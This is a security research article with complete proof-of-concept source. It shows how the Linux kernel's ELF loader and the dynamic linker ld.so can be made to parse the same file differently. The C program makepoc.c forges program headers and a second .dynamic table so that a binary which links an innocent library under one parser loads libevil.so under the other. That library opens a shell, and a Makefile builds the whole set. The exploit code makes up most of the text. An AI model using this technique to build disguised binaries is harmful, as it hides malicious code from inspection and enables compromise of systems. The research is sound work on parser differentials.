3 ELFs are dorky, Elves are cool

by Sergey Bratus and Julian Bangert

ELF ABI is beautiful. It's one format to rule all the tools: when a compiler writes a love letter to the linker about its precious objects, it uses ELF; when the RTLD performs runtime relocation surgery, it goes by ELF; when the kernel writes an epitaph for an uppity process, it uses ELF. Think of a possible world where binutils would use their own separate formats, all alike, leaving you to navigate the maze; or think of how ugly a binary format that's all things to all tools could turn out to be (∗cough∗ ASN.1, X.509 ∗cough∗), and how hard it'd be to support, say, ASLR on top of it. Yet ELF is beautiful.

Verily, when two parsers see two different structures in the same bunch of bytes, trouble ensues. A difference in parsing of X.509 certificates nearly broke the internets' SSL trust model[1]. The latest Android "Master Key" bugs that compromised APK signature verification are due to different interpretation of archive metadata by Java and C++ parsers/unzippers[2] – yet another security model-breaking parser differential. Similar issues with parsing other common formats and protocols may yet destroy remaining trust in the open Internet – but see `http://langsec.org/` for how we could start about fixing them.

ELF is beautiful, but with great beauty there comes great responsibility – for its parsers.[3] So do all the different binutils components as well as the Linux kernel see the same contents in an ELF file? This PoC shows that's not the case.

There are two major parsers that handle ELF data. One of them is in the Linux kernel's implementation of *execve(2)* that creates a new process virtual address space from an ELF file. The other – since the majority of executables are dynamically linked – is the RTLD (*ld.so(8)*, which on your system may be called something like */lib64/ld-linux-x86-64.so.2*[4], which loads and links your shared libraries – into the same address space.

It would seem that the kernel's and the RTLD's views of this address space must be the same, that is, their respective parsers should agree on just what spans of bytes are loaded at which addresses. As luck and Linux would have it, they do not.

The RTLD is essentially a complex name service for the process namespace that needs a whole lot of configuration in the ELF file, as complex a tree of C structs as any. By contrast, the kernel side just looks for a flat table of offsets and lengths of the file's byte segments to load into non-overlapping address ranges. RTLD's configuration is held by the *.dynamic* section, which serves as a directory of all the relevant symbol tables, their related string tables, relocation entries for the symbols, and so on.[5] The kernel merely looks past the ELF header for the flat table of loadable segments and proceeds to load these into memory.

As a result of this double vision, the kernel's view and the RTLD's view of what belongs in the process address space can be made starkly different. A *libpoc.so* would look like a perfectly sane library to RTLD, calling an innocent "Hello world" function from an innocent *libgood.so* library. However, when run as an executable it would expose a different *.dynamic* table, link in a different library *libevil.so*, and call a very different function (in our PoC, dropping shell). It should be noted that *ld.so* is also an executable and can be used to launch actual executables lacking executable permissions, a known trick from the Unix antiquity;[6] however, its construction is different.

The core of this PoC, *makepoc.c* that crafts the dual-use ELF binary, is a rather nasty C program. It is, in fact, a "backport-to-C" of our Ruby ELF manipulation tool *Mithril*[7], inspired by *ERESI*[8], but intended for liberally rewriting binaries rather than for ERESI's subtle surgery on the live process space.

[1] See "PKI Layer Cake" `http://ioactive.com/pdfs/PKILayerCake.pdf` by Dan Kaminsky, Len Sassaman, and Meredith L. Patterson

[2] See, e.g., `http://www.saurik.com/id/18` and `http://www.saurik.com/id/17`.

[3] Cf. "The Format and the Parser", a little-known variant of the "The Beauty and the Beast". They resolved their parser differentials and lived vulnlessly ever after.

[4] Just `objcopy -O binary -j .interp /bin/ls /dev/stdout`, wasn't that easy? :)

[5] To achieve RTLD enlightenment, meditate on the grugq's `http://grugq.github.io/docs/subversiveld.pdf` and mayhem's `http://s.eresi-project.org/inc/articles/elf-rtld.txt`, for surely these are the incarnations of the ABI Buddhas of our age, and none has described the runtime dynamic linking internals better since.

[6] `/lib/ld-linux.so <wouldbe-execfile>`

[7] `https://github.com/jbangert/mithril`

[8] `http://www.eresi-project.org/`

```
/* ---------------------- makepoc.c ---------------------------*/
/*
    I met a professor of arcane degree
    Who said: Two vast and handwritten parsers
    Live in the wild. Near them, in the dark
    Half sunk, a shattering exploit lies, whose frown,
    And wrinkled lip, and sneer of cold command,
    Tell that its sculptor well those papers read
    Which yet survive, stamped on these lifeless things,
    The hand that mocked them and the student that fed :
    And on the terminal these words appear:
    "My name is Turing, wrecker of proofs:
    Parse this unambigously, ye machine, and despair!"
    Nothing besides is possible. Round the decay
    Of that colossal wreck, boundless and bare
    The lone and level root shells fork away.
            -- Inspired by Edward Shelley
*/
#include <elf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#define PAGESIZE  4096
size_t filesz;
char file[3*PAGESIZE]; //This is the enormous buffer holding the ELF file.
                       // For neighbours running this on an Electronica BK,
                       // the size might have to be reduced.
Elf64_Phdr *find_dynamic(Elf64_Phdr *phdr);uint64_t find_dynstr(Elf64_Phdr *phdr);
/* New memory layout
  Memory          mapped to    File Offsets
0k ++++|        |        | ELF Header      |  ---|
   +   |First |***** |  (orig. code)    |    | |  LD.so/kernel boundary assumes
   +   | Page |        |  (real .dynamic)| <-|-+  the offset that applies on disk
4k +   +======+       +=================+   | |  works also in memory; however,
   +   |       |       |                     |    if phdrs are in a different
   ++> |Second|*      |  kernel_phdr     |<--|--  segment, this won't hold.
       | Page | *     |                  |
       |       |  *   |                  |
       +======+   *  +==================+
                    *  |  ldso_phdrs      |---|
                       |  fake .dynamic   | <-|
                       |   w/ new dynstr  |
                       ====================
    Somewhere far below, there is the .data segment (which we ignore)
*/
int elf_magic(){
  Elf64_Ehdr *ehdr = file;
  Elf64_Phdr *orig_phdrs  = file + ehdr->e_phoff;
  Elf64_Phdr *firstload,*phdr;
  int i=0;
```

```
//For the sake of brevity, we assume a lot about the layout of the program:
assert(filesz>PAGESIZE);    //First 4K has the mapped parts of program
assert(filesz<2*PAGESIZE); //2nd 4K holds the program headers for the kernel
                           //3rd 4k holds the program headers for ld.so +
// the new dynamic section and is mapped just above the program
for(firstload = orig_phdrs; firstload->p_type!=PT_LOAD; firstload++);
assert(0 == firstload->p_offset);
assert(PAGESIZE > firstload->p_memsz); //2nd page of memory will hold 2nd segment
uint64_t base_addr = (firstload->p_vaddr & ~0xfffUL);

//PHDRS as read by the kernel's execve() or dlopen(), but NOT seen by ld.so
Elf64_Phdr *kernel_phdrs = file + filesz;
memcpy(kernel_phdrs,orig_phdrs,ehdr->e_phnum * sizeof(Elf64_Phdr));//copy PHDRs
ehdr->e_phoff = (char *)kernel_phdrs - file; //Point ELF header to new PHDRs
ehdr->e_phnum++;

//Add a new segment (PT_LOAD), see above diagram
Elf64_Phdr *new_load = kernel_phdrs + ehdr->e_phnum - 1;
new_load->p_type = PT_LOAD;
new_load->p_vaddr =  base_addr + PAGESIZE;
new_load->p_paddr = new_load->p_vaddr;
new_load->p_offset = 2*PAGESIZE;
new_load->p_filesz = PAGESIZE;
new_load->p_memsz = new_load->p_filesz;
new_load->p_flags = PF_R | PF_W;
  // Disable large pages or ld.so complains when loading as a .so
for(i=0;i<ehdr->e_phnum;i++){
  if(kernel_phdrs[i].p_type == PT_LOAD)
    kernel_phdrs[i].p_align = PAGESIZE;
}

//Setup the PHDR table to be seen by ld.so, not kernel's execve()
Elf64_Phdr *ldso_phdrs = file + ehdr->e_phoff
  - PAGESIZE    // First 4K of program address space is mapped in old segment
  + 2*PAGESIZE; // Offset of new segment
memcpy(ldso_phdrs, kernel_phdrs,ehdr->e_phnum * sizeof(Elf64_Phdr));
//ld.so 2.17 determines load bias (ASLR) of main binary by looking at PT_PHDR
for(phdr=ldso_phdrs;phdr->p_type != PT_PHDR;phdr++);
phdr->p_paddr = base_addr + ehdr->e_phoff; //ld.so expects PHDRS at this vaddr
//This isn't used to find the PHDR table, but by ld.so to compute ASLR slide
//(main_map->l_addr) as (actual PHDR address)-(PHDR address in PHDR table)
phdr->p_vaddr = phdr->p_paddr;

//Make a new .dynamic table at the end of the second segment,
//  to load libevil instead of libgood
unsigned dynsz = find_dynamic(orig_phdrs)->p_memsz;
Elf64_Dyn *old_dyn = file + find_dynamic(orig_phdrs)->p_offset;
Elf64_Dyn *ldso_dyn = (char *)ldso_phdrs + ehdr->e_phnum * sizeof(Elf64_Phdr);
memcpy(ldso_dyn,old_dyn,dynsz);
//Modify address of dynamic table in ldso_phdrs (which is only used in exec())
find_dynamic(ldso_phdrs)->p_vaddr = base_addr + (char*)ldso_dyn -
```

```
                                        file - PAGESIZE;

  //We need a new dynstr entry. Luckily ld.so doesn't do range checks on strtab
  //offsets, so we just stick it at the end of the file
  char *ldso_needed_str = (char *)ldso_dyn +
                          ehdr->e_phnum * sizeof(Elf64_Phdr) + dynsz;
  strcpy(ldso_needed_str, "libevil.so");
  assert(ldso_dyn->d_tag == DT_NEEDED); //replace 1st dynamic entry, DT_NEEDED
  ldso_dyn->d_un.d_ptr =  base_addr + ldso_needed_str - file -
    PAGESIZE - find_dynstr(orig_phdrs);
}
void readfile(){
  FILE *f= fopen("target.handchecked","r");
  //provided binary because the PoC might not like the output of your compiler
  assert(f);
  filesz = fread(file ,1,sizeof file,f); // Read the entire file
  fclose(f);
}
void writefile(){
  FILE *f= fopen("libpoc.so","w");
  fwrite(file,sizeof file,1,f);
  fclose(f);
  system("chmod +x libpoc.so");
}
Elf64_Phdr *find_dynamic(Elf64_Phdr *phdr){
  //Find the PT_DYNAMIC program header
  for(;phdr->p_type != PT_DYNAMIC;phdr++);
  return phdr;
}
uint64_t find_dynstr(Elf64_Phdr *phdr){
  //Find the address of the dynamic string table
  phdr = find_dynamic(phdr);
  Elf64_Dyn *dyn;
  for(dyn = file + phdr->p_offset; dyn->d_tag != DT_STRTAB; dyn++);
  return dyn->d_un.d_ptr;
}
int main()
{
  readfile();
  elf_magic();
  writefile();
}

# ---------------------- Makefile ----------------------
%.so: %.c
        gcc -fpic -shared -Wl,-soname,$@ -o $@ $^
all: libgood.so libevil.so makepoc target libpoc.so all_is_well

libpoc.so: target.handchecked  makepoc
        ./makepoc
clean:
        rm -f *.so *.o target makepoc all_is_well
```

```
target: target.c libgood.so libevil.so
        echo "#define␣INTERP␣\"`objcopy␣-O␣␣binary␣-j␣.interp␣\
␣␣␣␣␣␣␣␣/bin/ls␣/dev/stdout`\"" >> interp.inc && gcc -o target \
        -Os -Wl,-rpath,. -Wl,-efoo -L . -shared -fPIC -lgood target.c \
         && strip -K foo $@ && echo 'copy␣target␣to␣target.handchecked␣by␣hand!'

target.handchecked: target
        cp $< $@; echo "Beware,␣you␣compiled␣target␣yourself.␣\
␣␣␣␣␣␣␣␣YMMV␣with␣your␣compiler,␣this␣is␣just␣a␣friendly␣poc"

all_is_well: all_is_well.c libpoc.so
        gcc -o $@ -Wl,-rpath,. -lpoc -L. $<
makepoc: makepoc.c
        gcc -ggdb -o $@ $<

/* ---------------------- target.c ---------------------------*/
#include <stdio.h>
#include "interp.inc"
const char my_interp[] __attribute__((section(".interp"))) = INTERP;
extern int func();
int foo(){
  //  printf("Calling func\n");
  func();
  exit(1); //Needed, because there is no crt.o
}

/* ---------------------- libgood.c ---------------------------*/
#include <stdio.h>
int func(){ printf("Hello␣World\n");}

/* ---------------------- libevil.c ---------------------------*/
#include <stdio.h>
int func(){ system("/bin/sh");}

/* ---------------------- all_is_well.c ---------------------------*/
extern int foo();
int main(int argc, char **argv)
{
  foo();
}
```

3.1 Neighborly Greetings and *cite*{}s:

Our gratitude goes to Silvio Cesare, the grugq, klog, mayhem, and Nergal, whose brilliant articles in *Phrack* and elsewhere taught us about the ELF format, runtime, and ABI. Special thanks go to the ERESI team, who set a high standard of ELF (re)engineering to follow. Skape's article *Uninformed 6:3* led us to re-examine ELF in the light of weird machines, and we thank .Bx for showing how to build those to full generality. Last but not least, our view was profoundly shaped by Len Sassaman and Meredith L. Patterson's amazing insights on parser differentials and their work with Dan Kaminsky to explore them for X.509 and other Internet protocols and formats.